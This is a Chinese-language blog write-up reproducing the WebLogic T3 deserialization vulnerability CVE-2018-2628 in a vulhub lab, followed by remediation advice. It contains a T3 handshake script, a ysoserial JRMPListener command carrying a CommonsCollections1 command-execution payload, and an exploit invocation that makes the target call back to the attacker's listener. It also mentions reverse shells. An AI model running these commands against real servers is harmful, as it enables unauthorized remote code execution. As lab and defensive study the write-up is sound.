首页 > 其他分享 >Weblogic T3反序列化漏洞(CVE-2018-2628)

Weblogic T3反序列化漏洞(CVE-2018-2628)

时间:2024-05-18 17:07:59浏览次数:30  
标签:协议 CVE 2628 T3 漏洞 Weblogic 序列化 ysoserial

目录

前言

WebLogic Server 是一个企业级的应用服务器,由Oracle公司开发,支持完整的Java EE规范,包括EJB、JSP、Servlet、JMS等,适合大型分布式应用和高负载场景。

T3协议概述

T3协议(Two-Tier TCP/IP Protocol),是WebLogic中的一种专有协议,建立在TCP/IP协议之上,它是WebLogic的默认通信协议,主要用于在客户端和服务器之间进行通信。

在Weblogic中RMI通信的实现是使用T3协议(通常RMI通信使用的是JRMP协议),并且在T3的传输过程中,和RMI一样,会进行序列化和反序列化的操作。所以说T3的反序列漏洞和RMI的反序列漏洞的原理几乎是一致的。

在T3的这个协议里面包含请求包头和请求的主体这两部分内容。

请求包头(handshake):它负责定义了数据包的基本结构和传输协议的版本信息。

使用Python发送一个请求包的头:

import socket

# "74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a"
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
ip = "192.168.88.150"
port = 7001

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
sock.sendall(handshake.encode())
data = sock.recv(1024)

Wireshark对它进行抓包:

image

这个请求包头表明使用的是T3协议的12.2.3版本,而响应包头中HELO后面的内容则是被连接的weblogic的版本号12.2.1.3.0。

请求包头之后是请求的主体,其中传输的都是序列化数据。

以poc发送的数据包脚本为例:

image

第三个数据包中包括长度和在反序列化数据之前的T3协议头,以ac ed 00 05开头的这些都是序列化的数据。所以只要要把其中一部分替换成我们要利用的序列化数据就可以。本质就是把ysoserial生成的payload变成t3协议里的数据格式

漏洞复现

影响版本: Weblogic 10.3.6.0、12.1.3.0、12.2.1.2、12.2.1.3

环境搭建:使用 vulhub 搭建

cd /vulhub/weblogic/CVE-2018-2628
docker compose up -d

通过nmap可以探测Weblogic的T3协议是否启用,以及版本号:

image

利用 ysoserial 的攻击流程都大同小异,首先使用JRMPListener开启一个JRMP服务监听,利用链这里选择CC1链。

java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 2333 CommonsCollections1 "touch /tmp/success-cve-2018-2628"

使用 exp 脚本(python2脚本,python3运行报错),向目标Weblogic发送Payload:

python2 CVE-2018-2628.py 192.168.88.150 7001 ysoserial-master-SNAPSHOT.jar 192.168.88.128 2333 JRMPClient

# 192.168.88.150 是靶机IP,7001是Weblogic端口

exp执行完成后,靶机回连本地JRMP服务,JRMP服务端收到请求:

image

执行docker compose exec weblogic bash进入容器中,可见文件已成功创建:

image

除了RCE,还能反弹shell都是类似的操作。

修复方案

  • 关闭T3服务:如果Weblogic控制台端口(默认为7001端口)开放,T3服务会默认开启。关闭T3服务或控制T3服务的访问权限可以防护该漏洞。

  • 更新补丁:应用Oracle官方发布的最新补丁,并升级JDK至1.7.0.21以上版本。

  • 更改代码:如果无法应用补丁或更新JDK,可以考虑更改代码,例如在黑名单中添加特定的类名,以阻断漏洞利用。

参考文章:
https://www.cnblogs.com/nice0e3/p/14201884.html#漏洞复现
https://xz.aliyun.com/t/10365
https://xz.aliyun.com/t/8073
http://drops.xmd5.com/static/drops/web-13470.html


若有错误,欢迎指正!o( ̄▽ ̄)ブ

标签:协议,CVE,2628,T3,漏洞,Weblogic,序列化,ysoserial
From: https://www.cnblogs.com/smileleooo/p/18199279

相关文章

  • 使用Spring HttpExchange时数据对象遇LocalDateTime字段类型json反序列化失败的解决方
    方法:重写MessageConverter,使得yyyy-MM-ddHH:mm:ss的字符串能反序列化到LocalDateTime类型上。@ConfigurationpublicclassHttpClientConfig{@Value("${service.host}")privateStringhost;@BeanRestClient.BuilderrestClientBuilder(){r......
  • CVE-2018-2628
    WeblogicWLSCoreComponents反序列化命令执行漏洞(CVE-2018-2628)Oracle2018年4月补丁中,修复了WeblogicServerWLSCoreComponents中出现的一个反序列化漏洞(CVE-2018-2628),该漏洞通过t3协议触发,可导致未授权的用户在远程服务器执行任意命令。漏洞环境cdweblogic/CVE-2018-2......
  • 关于SpringBoot项目使用Hutool工具进行json序列化时出现Null值过滤或者丢失的问题(转
    ##问题描述:SpringBoot项目中,一直使用的时Hutool的json转换工具,被强制要求不能使用fastJson工具;之前都没什么问题,突然有一次使用parseObj()进行json字符串转换json对象时,突然报错:Noserializerfoundforclasscn.hutool.json.JSONNullandnopropertiesdiscoveredtocreate......
  • CVE-2023-34644锐捷路由器漏洞复现
    前序起由是我想看看近两年主流路由器漏洞是如何挖出来的,然后就找到了CVE-2023-34644,该漏洞影响面比较广,比较新,又有一定难度,下面是相关漏洞说明编号:CVE-2023-34644影响面:锐捷旗下睿易NBS3/5/6/7系列、睿易EG系列、睿易EAP/RAP/NBC系列、星耀EW系列CVSS3.1评分:9.8(严重)固件获取......
  • util-linux升级为最新版本v2.40(修复CVE-2024-28085)
    下载util-linux最新源码代码仓库下载util-linux-2.40.1.tar.gz解压tar-zxvfutil-linux-2.40.1.tar.gzcdutil-linux-2.40.1执行autogen.shsudo./autogen.sh配置sudo./configure如果提示configure:error:liblastlog2selected,butrequiredsqlite3libraryn......
  • [HDCTF 2023]YamiYami python中的另一种反序列化--yaml
    今天做了到新颖的题,关于python中的yaml反序列化的题目,直接上题吧。发现第一个链接的参数是?url=XXXX,一眼利用点。嗯?直接出了flag,应该是非预期解。再看看有app.py,那就试试。发现app.*被过滤了,二次编码绕过试试。点击查看代码@app.route('/')defindex():session['pas......
  • 05限流和序列化
    限流和序列化1.限流限流,限制用户访问频率,一般的限流用户信息都存于缓存之中,例如:用户1分钟最多访问100次或者短信验证码一天每天可以发送50次,防止盗刷。对于匿名用户,使用用户IP作为唯一标识。对于登录用户,使用用户ID或名称作为唯一标识。1.1限流组件使用步骤(1)创建限流组......
  • Netgear无线路由器漏洞复现(CVE-2019-20760)
    漏洞概述漏洞服务: uhttpd漏洞类型: 远程命令执行影响范围: 1.0.4.26之前的NETGEARR9000设备会受到身份验证绕过的影响解决建议: 更新版本漏洞复现操作环境: ubuntu:22.04qemu-version: 8.1.1仿真环境wgethttps://www.downloads.netgear.com/files/GDC/R9000/R9000-V1.......
  • fastjson和 gson 的反序列化的一个差异
     publicclassResponse01{privateThirdDatathirdData;publicThirdDatagetThirdData(){returnthirdData;}//ThirdDataextendBaseThirdDatapublicvoidsetThirdData(BaseThirdDatathirdData){thi......
  • EXP练手:CVE-2022-22963从编写到调试排错
    写什么?之前在使用Spring相关工具时候发现其中漏洞利用模块CVE-2022-22963需要手动利用(2023年的笔记,现在不确认工具是否更新了)GitHub-AabyssZG/SpringBoot-Scan:针对SpringBoot的开源渗透框架,以及Spring相关高危漏洞利用工具于是尝试编写这个exp,对编程不熟悉的可以看看我的Go......